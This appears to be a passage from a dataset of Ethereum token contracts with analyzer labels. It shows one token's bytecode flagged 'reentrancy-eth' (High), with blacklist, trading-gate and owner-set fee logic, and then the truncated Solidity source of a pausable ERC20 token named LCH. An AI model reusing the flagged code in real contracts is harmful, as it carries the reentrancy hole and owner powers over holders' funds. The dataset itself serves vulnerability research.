9c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ddb61164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f906134c2565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea961164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2d906134c2565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600581526020017f4d55534b79000000000000000000000000000000000000000000000000000000815250905090565b610f9e61164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461102b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611022906134c2565b60405180910390fd5b8060188190555050565b61103d61164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c1906134c2565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006111006110f961164b565b848461181e565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661116b61164b565b73ffffffffffffffffffffffffffffffffffffffff1614806111e15750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c961164b565b73ffffffffffffffffffffffffffffffffffffffff16145b6111ea57600080fd5b60006111f530610c2f565b905061120081612270565b50565b61120b61164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611298576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128f906134c2565b60405180910390fd5b60005b8383905081101561135d5781600560008686858181106112e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f99190612dc6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806113559061389c565b91505061129b565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f261164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611476906134c2565b60405180910390fd5b8060178190555050565b61149161164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611515906134c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158590613422565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ba90613542565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172a90613442565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118119190613562565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188590613502565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f5906133a2565b60405180910390fd5b60008111611941576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611938906134e2565b60405180910390fd5b611949610e78565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b75750611987610e78565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da257601560149054906101000a900460ff16611a46576119d8610e78565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3c906133c2565b60405180910390fd5b5b601654811115611a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8290613402565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2f5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6590613462565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c1b5760175481611bd084610c2f565b611bda9190613698565b10611c1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1190613522565b60405180910390fd5b5b6000611c2630610c2f565b9050600060185482101590506016548210611c415760165491505b808015611c59575060158054906101000a900460ff16155b8015611cb35750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611ccb5750601560169054906101000a900460ff165b8015611d215750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d775750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9f57611d8582612270565b60004790506000811115611d9d57611d9c47612107565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e495750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efc5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611efb5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f0a5760009050612091565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb55750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcd57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120785750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561209057600a54600c81905550600b54600d819055505b5b61209d84848484612568565b50505050565b60008383111582906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e29190613380565b60405180910390fd5b50600083856120fa9190613779565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215760028461259590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d360028461259590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fe573d6000803e3d6000fd5b5050565b6000600654821115612249576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612240906133e2565b60405180910390fd5b60006122536125df565b9050612268818461259590919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cd577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122fb5781602001602082028036833780820191505090505b5090503081600081518110612339577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123db57600080fd5b505afa1580156123ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124139190612def565b8160018151811061244d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b430601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611653565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161251895949392919061357d565b600060405180830381600087803b15801561253257600080fd5b505af1158015612546573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806125765761257561260a565b5b61258184848461264d565b8061258f5761258e612818565b5b50505050565b60006125d783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282c565b905092915050565b60008060006125ec61288f565b91509150612603818361259590919063ffffffff16565b9250505090565b6000600c5414801561261e57506000600d54145b156126285761264b565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265f876128f1565b9550955095509550955095506126bd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129a390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279e81612a01565b6127a88483612abe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128059190613562565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286a9190613380565b60405180910390fd5b506000838561288291906136ee565b9050809150509392505050565b60008060006006549050600068056bc75e2d6310000090506128c568056bc75e2d6310000060065461259590919063ffffffff16565b8210156128e45760065468056bc75e2d631000009350935050506128ed565b81819350935050505b9091565b600080600080600080600080600061290e8a600c54600d54612af8565b925092509250600061291e6125df565b905060008060006129318e878787612b8e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a3565b905092915050565b60008082846129b29190613698565b9050838110156129f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ee90613482565b60405180910390fd5b8091505092915050565b6000612a0b6125df565b90506000612a228284612c1790919063ffffffff16565b9050612a7681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129a390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612ad38260065461295990919063ffffffff16565b600681905550612aee816007546129a390919063ffffffff16565b6007819055505050565b600080600080612b246064612b16888a612c1790919063ffffffff16565b61259590919063ffffffff16565b90506000612b4e6064612b40888b612c1790919063ffffffff16565b61259590919063ffffffff16565b90506000612b7782612b69858c61295990919063ffffffff16565b61295990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ba78589612c1790919063ffffffff16565b90506000612bbe8689612c1790919063ffffffff16565b90506000612bd58789612c1790919063ffffffff16565b90506000612bfe82612bf0858761295990919063ffffffff16565b61295990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c2a5760009050612c8c565b60008284612c38919061371f565b9050828482612c4791906136ee565b14612c87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c7e906134a2565b60405180910390fd5b809150505b92915050565b6000612ca5612ca084613617565b6135f2565b90508083825260208201905082856020860282011115612cc457600080fd5b60005b85811015612cf45781612cda8882612cfe565b845260208401935060208301925050600181019050612cc7565b5050509392505050565b600081359050612d0d81613d63565b92915050565b600081519050612d2281613d63565b92915050565b60008083601f840112612d3a57600080fd5b8235905067ffffffffffffffff811115612d5357600080fd5b602083019150836020820283011115612d6b57600080fd5b9250929050565b600082601f830112612d8357600080fd5b8135612d93848260208601612c92565b91505092915050565b600081359050612dab81613d7a565b92915050565b600081359050612dc081613d91565b92915050565b600060208284031215612dd857600080fd5b6000612de684828501612cfe565b91505092915050565b600060208284031215612e0157600080fd5b6000612e0f84828501612d13565b91505092915050565b60008060408385031215612e2b57600080fd5b6000612e3985828601612cfe565b9250506020612e4a85828601612cfe565b9150509250929050565b600080600060608486031215612e6957600080fd5b6000612e7786828701612cfe565b9350506020612e8886828701612cfe565b9250506040612e9986828701612db1565b9150509250925092565b60008060408385031215612eb657600080fd5b6000612ec485828601612cfe565b9250506020612ed585828601612db1565b9150509250929050565b600080600060408486031215612ef457600080fd5b600084013567ffffffffffffffff811115612f0e57600080fd5b612f1a86828701612d28565b93509350506020612f2d86828701612d9c565b9150509250925092565b600060208284031215612f4957600080fd5b600082013567ffffffffffffffff811115612f6357600080fd5b612f6f84828501612d72565b91505092915050565b600060208284031215612f8a57600080fd5b6000612f9884828501612d9c565b91505092915050565b600060208284031215612fb357600080fd5b6000612fc184828501612db1565b91505092915050565b60008060008060808587031215612fe057600080fd5b6000612fee87828801612db1565b9450506020612fff87828801612db1565b935050604061301087828801612db1565b925050606061302187828801612db1565b91505092959194509250565b60006130398383613045565b60208301905092915050565b61304e816137ad565b82525050565b61305d816137ad565b82525050565b600061306e82613653565b6130788185613676565b935061308383613643565b8060005b838110156130b457815161309b888261302d565b97506130a683613669565b925050600181019050613087565b5085935050505092915050565b6130ca816137bf565b82525050565b6130d981613802565b82525050565b6130e881613826565b82525050565b60006130f98261365e565b6131038185613687565b9350613113818560208601613838565b61311c81613972565b840191505092915050565b6000613134602383613687565b915061313f82613983565b604082019050919050565b6000613157603f83613687565b9150613162826139d2565b604082019050919050565b600061317a602a83613687565b915061318582613a21565b604082019050919050565b600061319d601c83613687565b91506131a882613a70565b602082019050919050565b60006131c0602683613687565b91506131cb82613a99565b604082019050919050565b60006131e3602283613687565b91506131ee82613ae8565b604082019050919050565b6000613206602383613687565b915061321182613b37565b604082019050919050565b6000613229601b83613687565b915061323482613b86565b602082019050919050565b600061324c602183613687565b915061325782613baf565b604082019050919050565b600061326f602083613687565b915061327a82613bfe565b602082019050919050565b6000613292602983613687565b915061329d82613c27565b604082019050919050565b60006132b5602583613687565b91506132c082613c76565b604082019050919050565b60006132d8602383613687565b91506132e382613cc5565b604082019050919050565b60006132fb602483613687565b915061330682613d14565b604082019050919050565b61331a816137eb565b82525050565b613329816137f5565b82525050565b60006020820190506133446000830184613054565b92915050565b600060208201905061335f60008301846130c1565b92915050565b600060208201905061337a60008301846130d0565b92915050565b6000602082019050818103600083015261339a81846130ee565b905092915050565b600060208201905081810360008301526133bb81613127565b9050919050565b600060208201905081810360008301526133db8161314a565b9050919050565b600060208201905081810360008301526133fb8161316d565b9050919050565b6000602082019050818103600083015261341b81613190565b9050919050565b6000602082019050818103600083015261343b816131b3565b9050919050565b6000602082019050818103600083015261345b816131d6565b9050919050565b6000602082019050818103600083015261347b816131f9565b9050919050565b6000602082019050818103600083015261349b8161321c565b9050919050565b600060208201905081810360008301526134bb8161323f565b9050919050565b600060208201905081810360008301526134db81613262565b9050919050565b600060208201905081810360008301526134fb81613285565b9050919050565b6000602082019050818103600083015261351b816132a8565b9050919050565b6000602082019050818103600083015261353b816132cb565b9050919050565b6000602082019050818103600083015261355b816132ee565b9050919050565b60006020820190506135776000830184613311565b92915050565b600060a0820190506135926000830188613311565b61359f60208301876130df565b81810360408301526135b18186613063565b90506135c06060830185613054565b6135cd6080830184613311565b9695505050505050565b60006020820190506135ec6000830184613320565b92915050565b60006135fc61360d565b9050613608828261386b565b919050565b6000604051905090565b600067ffffffffffffffff82111561363257613631613943565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006136a3826137eb565b91506136ae836137eb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136e3576136e26138e5565b5b828201905092915050565b60006136f9826137eb565b9150613704836137eb565b92508261371457613713613914565b5b828204905092915050565b600061372a826137eb565b9150613735836137eb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561376e5761376d6138e5565b5b828202905092915050565b6000613784826137eb565b915061378f836137eb565b9250828210156137a2576137a16138e5565b5b828203905092915050565b60006137b8826137cb565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061380d82613814565b9050919050565b600061381f826137cb565b9050919050565b6000613831826137eb565b9050919050565b60005b8381101561385657808201518184015260208101905061383b565b83811115613865576000848401525b50505050565b61387482613972565b810181811067ffffffffffffffff8211171561389357613892613943565b5b80604052505050565b60006138a7826137eb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138da576138d96138e5565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d6c816137ad565b8114613d7757600080fd5b50565b613d83816137bf565b8114613d8e57600080fd5b50565b613d9a816137eb565b8114613da557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208c4163a5fa39382a9276d5092e21fbe5357c08528342680444f58f34162f5f4764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,231 |
0x2dd32d429bb8f301831409b4eb96746f9fb1a35b
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract LCH is PausableToken {
string public constant name = "Li Cheng Cash"; // solium-disable-line uppercase
string public constant symbol = "LCH"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
